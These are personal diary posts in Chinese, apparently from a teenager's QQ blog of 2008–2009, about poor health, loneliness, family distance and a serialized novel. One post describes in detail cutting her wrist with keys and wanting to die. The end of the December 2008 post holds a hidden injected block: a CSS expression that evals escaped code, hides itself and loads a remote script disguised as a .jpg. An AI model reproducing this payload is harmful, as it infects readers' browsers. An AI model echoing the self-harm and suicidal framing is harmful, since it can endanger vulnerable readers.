脚步停了下来,背对着阳光,可是还是要眯起眼睛来,
眼睛不停的忘着那扇大门,
有些愤恨带着些恼怒的看着它,
一动不动的站着,突然变得局促不安,局促的拽着衣角,
忘记了手中还拿着那些书本,于是,那些没有生命的东西便哗啦的散落下来,
声音那么尖锐,真不想管它们,一群没生命的东西,又不得不蹲下来一本一本的捡起来,
重新站起来,又是那种晕眩感,刚刚才捡起的书差点又掉下来,于是抱的更紧了些,
于是盲目的朝门里走去,像是丢了灵魂的木乃伊,僵硬的存在着

医院里的苍白
去了那里。一片惨白。
他说。
你不能受太多刺激。
你不能太激动。
不能过分悲伤或者过度兴奋。
你的心脏负荷不了。
你心率95，正常人75。
你快了多少？
这不是小问题。如果以后更严重问题很大。
你心脏很弱。要时刻保持轻松的心态。
这和你的大起大落的情绪有很大关系。
知不知道？
你现在虽然还小。但是身体比同龄人差了很多。
你胃子的毛病也不少。经常会疼的很吧。
不能不吃饭。三餐要正常。
你还贫血。
我讲你这么小的小孩身体怎么这么差的呢。
脸色苍白。精神不振。
你营养不良。
你现在还是长身体的阶段。
营养一定要跟的上。
不能不吃饭。
最严重最要注意的就是你的情绪。
我刚刚讲过的了。你身体很大一部分都因为你的情绪。
心脏不是别的东西。
或许你生下来心脏就不好。
可是这发育阶段也在乎自己。
睡眠要充足。不要熬夜。

浑浑厄厄的离开。
半天没反映过来他的话是什么意思。
不用吃药吗?,
哦,我好象跟他说不要吃药的,
没关系,
顺其自然吧.

不要看。

476770363@qq.com(光线　　　 -) — Sun, 24 May 2009 14:17:38 GMT

昨天差那么一点点就和所有的人阴阳两隔了。
可是最难过最崩溃的时候竟然找不到任何一个人去哭诉。
哪怕不会揉着我前额的留海对我说没事了都好。可是仍然找不到任何一个。
找不到任何一个人啊。
躺在冰凉的地下的时候。嘴里哼着甜蜜的歌。眼泪把头发都弄湿了。
连妆都花的不成样子了呢。
可是那时候为什么卫生间里没有刀呢。
那样可能我现在就没有机会再在这里说这些话了。那样可能我就会真的死掉了吧。
幸好那时候还有钥匙。可以让我发疯一点。可是已经崩溃了。
今天手腕处贴着创可贴。哥哥问我怎么了。我说不小心被铁丝划到了。
我想我应该去死。活着让所有的人都不开心。让所有的人都不开心啊。
明明我以为我可以一个人谁都不需要的坚强的去做我喜欢的任何事。
明明我以为我可以真的真的一个人去做自己喜欢的事。
明明我以为我有了目标了以后就不会再在意其他的事。
我想我是没有勇气真的丢下所有的事一个人走的吧。
可是就算是那样又有谁会真正的在我墓碑前难过的哭一场呢。
父母父母阿。你们说着爱我爱我。可是你们又爱我有多少呢。
又有多少呢？
所有我已经很久没哭过了。已经很久很久没有像昨天那样哭过了。
其实可能就连我死了。都可能会在几天后才被发现吧。
其实崩溃的时候很难过很难过。看着明明灭灭的灯难过的就快要死掉了。
可是都没有人在身边。都没有人在身边啊。
所以倒不如死了一了不了。那样倒来的清净。
想哭的时候。我都会跟自己说郑瑶你以为你谁阿。你凭什么哭阿。
连哭都没有理由哭。所以我不哭。真的。我一点都不想哭。
真的一点都不想哭。真的一点都不想去死。

我把自己变的很充实。每天做习题做到凌晨一点。每天写稿子写到趴在桌子上睡着。
我不想让自己闲下来。我不再喝酒。不再让自己醉的一塌糊涂。
不再把自己的任何情感宣泄出来。再也不让自己的任何弱点流露出来。
我开始变的越来越强大。我开始看着别人惊讶的目光骄傲的活着。
我不累。真的一点都不累。

我不知道我或许还可以活多久。
可能某一天我就会突然死掉。
真的会突然死掉的吧。

我会害怕。自己一个人反锁在房间里。
爸爸妈妈在门外使劲的敲门。叫着喊着。
我躲到衣柜里。躲到衣服里面。一边哭一边不发出任何声音。
我想我死应该死在衣柜里吧。
这样没有人可以轻易找到我。我就可以安安静静的死掉了。
昨天就那样反锁着门在衣柜里睡着了。
钥匙把手腕划的鲜血淋漓。连天亮都看不见。
那件白色的衬衫被染上了血迹。可是谁都不知道谁都不知道。
如果我死了。真的再也不见了的时候。你们会难过吗？
会偶尔想我一下吗？
就一下就好。就一下。让我偶尔也觉得温暖一下。好不好。

隔着漫无边际的黑暗。我想到了很多人。可是反复琢磨着却全部都是几个人的影子。
全部都重合到了一起。
不知道那么努力到底为了什么。有什么意义。
我早就不是一年前两年前那个郑瑶了。
以前的郑瑶会很没心没肺的相信所有人都对我好。相信所有人说的话。
可是现在的郑瑶会把自己折磨的恨不得一头撞死。
恨不得所有的人都来把我杀掉。
所以我才发现不是别人变了。而是我自己不再相信任何人。
姐姐说我会老的很早。
我现在已经老了。已经老了。已经老了啊。

我一直把自己写进书里。不管是欧希也好。还是安私也好。
都是我所有的影子。她们都会穿有尖细鞋跟的鞋子。都会提着裙子走在去葬礼的路上。
都会哭的不让任何人知道。都会轻而易举的被折磨的不成人形。
都会慢慢的远离所有的人。都会把自己锁的一声不响。
我已经有一年没有在任何人面前哭过了。
甚至那一年前的一次。也只是喝醉了而已。
我已经有很久没有彻底的开心过了。
已经有很久没有彻底的笑过了。
我说了。我不累。真的一点都不累。
一点都不想哭。

　　　　　无题

476770363@qq.com(光线　　　 -) — Fri, 05 Dec 2008 11:00:28 GMT

恩怎么说呢写了一篇无题的日志其实并没有太多的话想要说因为事情一直都是重复着一个德行生活还是一尘不染的旋转着比如说每天活动课的时候头痛的连眼泪都一直往下掉可是还是从来都没有和老师说过比如说晚自习的时候胃痛会让我一直往桌子上撞也还是挨到放学比如说看见别人哭的时候自己也会转过头偷偷的抹着眼泪比如说在一些时候会想起一些人比如说在写日记的时候会拿着笔突然忘记了内容比如说衣服穿的越来越多可还是一直感冒发烧比如说一直听一首喜欢的歌即使它总是让我一直哭比如说手已经冻僵了也还是拿着笔思考着这道题目该怎么做比如说再怎样难过也还是笑着对别人说我是钢铁卫士谁也打不到比如说明明自己也很难过却还是写信去安慰别人说着自己怎样怎样的快乐怎样怎样的坚强比如说有个人突然的关心我眼泪就会掉下来比如说一直和某个人对立着即使他已经有女朋友了比如说桌子角上的倒记时也已经快要接近尾声所以一直很兴奋比如说听到铛挡的铃声响会不由自主的哼唱起来比如说 <<悲情剧>>已经写了好几万字了比如说比如说比如说所以说日子每天都是一个样记得有时候会有很大很大的理想会想着接下去的日子该怎样过然后思考着人生的规划思考着活下去的坚强 <<悲情剧>>里的明娜死了记得写到这里的时候是拿着笔一边写一边哭所以一直觉得只要活着比什么都好只要活着比什么都好其实生命比什么都脆弱不要一直觉得生活怎么怎么样的不公平日子怎样怎样的难熬其实每个人都一样的不是吗不知道什么时候写日志的时候换了风格也许在不知不觉的中变换的吧一直想着没有背叛过那个人即使离开了也是同样也不会背叛至少这是我答应的对不对即使他现在已经有女朋友了我也该学会释怀了对不对其实只需要你的一个回答好了不说他了记得有一个男孩子记得以前他很爱我我不知道现在是不是了记得那时候我伤害他伤害的很深他也很久也没有跟我说话即使就在一个学校里可是就在前不久他突然很关心我一直担心我还说还想要和我在一起记得前几天他给我同学里的信里一直问着我怎么怎么样看到的时候哭了很突然的没有想到的因为似乎觉得好久都没有那样被人在意了好象说的有些凄凉了不过真的是这样好了也不说这些事了也没什么的其实对不对或者又比如说昨天头不知道为什么痛的那么厉害一节物理课都是被淹没在眼泪和头痛中就像是好多东西一直撕扯着一直没有吃饭胃也痛其实知道自己大概是活不久了不是在吓人因为一直抽烟一直喝酒一直不吃饭一直出现的症状也在加剧着恐惧其实每次回去的时候并不会表现出任何的不正常也不会喝酒也只是偶尔的抽烟所以并没有什么的异样所以也没人察觉到什么只是一个人的时候会变的的很可怕比如说头疼胃疼头晕烦躁心跳很快手脚冰凉恶心都是这些东西真的很烦人其实写在这里并不是想要谁担心只是有些难过而已因为看到了一些东西算了不说了也没什么好说的了不是吗前两天生日小一送了礼物虽然打开的时候吓了一跳但是真的很开心至少她很在乎我记得生日那天和我说生日快乐的人都没有几个有点想哭但是忍住了不能一直哭一直哭的多没出息对不对又有什么的呢对不对对不对就像这样想多好看了看又改了改现在真是有够无语的想说的总是和写的偏题该怎么办呢具体说我是不是得了神经病了就比如说一些精神方面的问题越想越头痛真的很烦人[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

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下雪了 09年快要离开了

本来要给你的留言 可是太多了只好写成日志

感谢论 ★

也许也许也许吧

唔 回归正常

14日。暴雨倾城。

唯一一次公开。祭奠。

不要看。

无题

光线　　　 -

本来要给你的留言可是太多了只好写成日志

　　　　　感谢论 ★

唔　　　回归正常

　　　　　无题